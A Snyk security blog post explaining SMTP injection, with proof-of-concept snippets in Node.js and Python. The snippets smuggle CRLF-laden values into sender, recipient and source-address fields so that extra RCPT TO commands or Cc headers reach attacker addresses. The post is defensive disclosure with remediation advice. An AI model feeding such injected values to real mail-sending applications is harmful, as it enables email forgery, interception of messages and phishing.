Avoiding SMTP Injection: A Whitebox primer

SnykSec - Sep 19 '22 - - Dev Community

SMTP Injection vulnerabilities are often misunderstood by developers and security professionals, and missed by static analysis products. This blog will discuss how common SMTP Injection vulnerabilities can exist in libraries and applications, and provide tips for finding and remediating them quickly.

Introduction to SMTP

Simple Mail Transfer Protocol (SMTP) is an email protocol used for sending and receiving email messages. User-level email clients typically use SMTP to send messages to a mail server for relaying. SMTP servers commonly use the Transmission Control Protocol on port number 25 (for plaintext) and 587 (for encrypted communications).

Modern software and applications often use the SMTP protocol as part of a user flow and send emails based on a user action. Registration confirmation emails, which can take a user email with some predefined welcome text and relay this email to an SMTP server to be sent to a user’s email account, are one example of this.

During an SMTP session between an SMTP client and server, multiple SMTP commands can be used by a client. Some common examples are:

  • HELO/EHLO – The HELO command initiates the SMTP session conversation, e.g. HELO snyk.io.
  • MAIL FROM – The MAIL FROM command initiates a mail transfer with a source email address, e.g. MAIL FROM "foo@snyk.io".
  • RCPT TO – The RCPT TO command specifies the recipient to send the email to, e.g. RCPT TO "foobar@snyk.io".
  • DATA – Using the DATA command, the client asks the server for permission to transfer the mail data. The response code 354 grants permission, and the client launches the delivery of the email contents line by line. The DATA transmission can be terminated with a . character

An example of an SMTP communication between a client and a server can be seen below.

Server: 220 smtp.snyk.test ESMTP Postfix
Client: HELO relay.snyk.test
Server: 250 Hello relay.snyk.test, I am glad to meet you
Client: MAIL FROM:<sams@snyk.test>
S: 250 Ok
C: RCPT TO:<jack@snyk.test>
S: 250 Ok
C: RCPT TO:<asaf@snyk.test>
S: 250 Ok
C: DATA
S: 354 End data with <CR><LF>.<CR><LF>
C: From: "Sam S" <sams@snyk.test>
C: To: "Jack H" <jack@snyk.test>
C: Cc: asaf@snyk.test
C: Date: Tue, 15 Jan 2008 16:02:43 -0500
C: Subject: Test message
C:
C: Hello Jack.
C: This is a test.
C: Your friend,
C: Sam
C: .
S: 250 Ok: queued as 12345
C: QUIT
S: 221 Bye
{The server closed the connection}
Enter fullscreen mode Exit fullscreen mode

What is SMTP Injection

SMTP Injection can occur when an attacker is able to inject arbitrary SMTP commands as part of an SMTP communication taking place between a client and server. This may be through injecting additional CRLF characters that are part of user controlled parameters which may be placed as part of an SMTP command without validation or adequate sanitization.

These cases often exist in web applications that are using libraries to send SMTP commands, or have internal implementations that are not validating user controlled parameters.

The impact of SMTP Injection can vary depending on the context of an application affected by this issue. Common impacts include:

  • Sending copies of emails to a third party.
  • Modifying the content of the message being sent to the SMTP server.
  • Leveraging the application affected by SMTP injection as a proxy to conduct phishing attacks.

To better understand SMTP Injection, let’s look at the following examples.

SMTP Injection Scenario 1

Third party libraries are commonly used by developers to send emails to an SMTP server, and provide an alternative to using standard library SMTP functions. One such example of this library is smtp-client. smtp-client provides various fields to set hostname, authentication, recipient, and senders, which can then be sent as part of an SMTP message.

var smtp = require('smtp-client');
let s = new smtp.SMTPClient({
  host: '127.0.0.1',
  port: 1225
});

(async function() {

  await s.connect();

  await s.greet({hostname: '127.0.01'}); // runs EHLO command or HELO as a fallback
  await s.authPlain({username: 'testuser', password: 'testpass'}); // authenticates a user
  await s.mail({from: 'from@sender.com'}); // runs MAIL FROM command
  await s.rcpt({to: 'to@recipient.com'}); // runs RCPT TO command (run this multiple times to add more recii)
  await s.data('mail source'); // runs DATA command and streams email source
  await s.quit(); // runs QUIT command

})().catch(console.error);
Enter fullscreen mode Exit fullscreen mode

However, consider a scenario where it’s not possible to set the s.rcpt field and only the s.mail is controlled by the user. In those cases, CRLF characters can be used to insert a new command such as from@sender.com>\r\nRCPT TO:<attacker@snyk.io.

Example:

await s.mail({from: 'from@sender.com>\r\nRCPT TO:<attacker@snyk.io'}); 
Enter fullscreen mode Exit fullscreen mode

Because no validation took place, the SMTP client will process CRLF characters and treat RCPT TO:<attacker@snyk.io as a new SMTP command. The following image shows this command being accepted by a SMTP server.

Image showing  raw `RCPT TO:<attacker@snyk.io` endraw  as a new SMTP command being accepted by a SMTP server.

Along with smtp-client, Snyk also found Email MIME and Net::SMTP perl packages — which are also vulnerable to SMTP Injection through multiple fields. This security issue was reported to the appropriate library maintainers, and fixes are implemented within the latest version of these packages.

SMTP Injection Scenario 2

Low level libraries also exist within multiple language ecosystems that can be used by developers to communicate with an SMTP server. One such example of this is smtp-channel.

In the case of smtp-channel, developers might choose to create user emails with user provided input, and provide the data to smtp-channel as a stream. In those cases, an attacker can add additional headers, and use the existing SMTP session to forge an email. The following code demonstrates this issue:

const {SMTPChannel} = require('smtp-channel');

(async function() {
    let handler = console.log;

    let smtp = new SMTPChannel({
      host: 'localhost',
      port: 1225
    });

    var userinput = 'RCPT TO: <attacker@snyk.test>\r\nDATA\r\n\r\nFoo'
    var userstream = 'EHLO mx.me.com\r\nMAIL FROM: <test@snyk.test>\r\n' + userinput + '\r\n.\r\n'
    await smtp.connect({handler, timeout: 3000});
    await smtp.write(userstream, {handler});
    await smtp.write('QUIT\r\n', {handler});

  })().catch(console.error);
Enter fullscreen mode Exit fullscreen mode

SMTP Injection Scenario 3

Mail Builder libraries used in conjunction with SMTP clients can also be affected by SMTP Injection. An example of this issue can be seen within the email Python package. The email package is a library for managing email messages. In this case, SMTP Injection is possible by providing CRLF characters to the mail.headerregistry.Address field.

import smtplib

from email.message import EmailMessage
from email.headerregistry import Address
from email.utils import make_msgid

# Create the base text message.
msg = EmailMessage()
msg['Subject'] = "Example Subject"
msg['From'] = Address("Sam", "Sanoop", "snyk.test")
msg['To'] = (Address("Example", "One", "snyk.test>\r\ncC: Foo <attacker@snyk.test"))
msg.set_content("""\
Salut!

Test Email 
--Sam
""")

# Send the message via SMTP server.
with smtplib.SMTP("127.0.0.1", 1225) as s:
    s.login("testuser", "testpass")
    s.set_debuglevel(2)
    s.send_message(msg)
Enter fullscreen mode Exit fullscreen mode

The following image shows the existing RCPT command being closed with the > character and a new cC header being injected with \r\n. This will be sent as a new RCPT command, as seen below.

The existing RCPT command ,closed with the > character and a new cC header being injected with \r\n, being sent as a new RCPT command.

It should be noted that this vulnerability has been remediated by the Python security team in the 3.X releases — click here to review the full release notes. However, 2.X versions are still vulnerable.

SMTP Injection Scenario 4

While probing for SMTP Injection vulnerabilities, it is worth noting that other fields such as hostname and source address can also allow CRLF characters — and therefore allow SMTP Injection.

In the following example, the From and To fields provided to aiosmtplib are sanitized. However, it’s still possible to inject into the source_address and insert an arbitrary SMTP command. The Proof Of Concept (PoC) to demonstrate this can be seen below:

import asyncio
from email.message import EmailMessage

from aiosmtplib import SMTP

async def say_hello():
    message = EmailMessage()
    message["From"] = "root@localhost"
    message["To"] = "somebody@example.com"
   ## message["Subject"] = "Hello World!\r\nFoo: Bar"
    message.set_content("Sent via aiosmtplib")

    smtp_client = SMTP(hostname="127.0.0.1", port=1225,source_address="bob.example.org\r\nRCPT TO: <attacker@attacker.com>")
    async with smtp_client:
        await smtp_client.send_message(message)

event_loop = asyncio.get_event_loop()
event_loop.run_until_complete(say_hello())
Enter fullscreen mode Exit fullscreen mode

This creates the following SMTP communication.

SMTP communication created by injecting into the source_address to insert an arbitrary SMTP command.

Other cases to consider

In certain situations, mail libraries can also allow for code execution vectors. One such example of this is the mail() function. If user input flows into the 5th parameter of the mail() function, this can be leveraged by an attacker for code execution — click here to review an example of this issue.

SMTP Injection vulnerabilities are often confused with Mail Injection vulnerabilities. In a Mail Injection vulnerability, an attacker could abuse an email messaging feature by using an SMTP function to send arbitrary emails and conduct phishing attacks. Whereas, with an SMTP Injection, CRLF characters are used to inject arbitrary headers, which can then be used to forge emails and conduct phishing attacks.

Preventing SMTP Injection

SMTP Injection is a vulnerability often overlooked by developers and open source library maintainers. In most cases, these issues should be remediated by library maintainers, and many well known libraries — such as JavaMail, PHPMailer and RubyMail — already prevent SMTP Injection by sanitizing CRLF characters. For low level libraries such as smtp-channel, the developer utilizing this library is responsible for validating and sanitizing user input.

In order to help make the open source community more secure, Snyk Security team also disclosed SMTP Injection vulnerabilities in the following libraries.

| Library | Language | Fixed Version |
| SMTPMail-drogon | C | Fixed in Master |
| Email::MIME | Perl | No Fix Available |
| Net::SMTP | Perl | No Fix Available |
| aiosmtplib | Python | Fixed in 1.1.7 |
| smtpclient | NodeJS | |

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .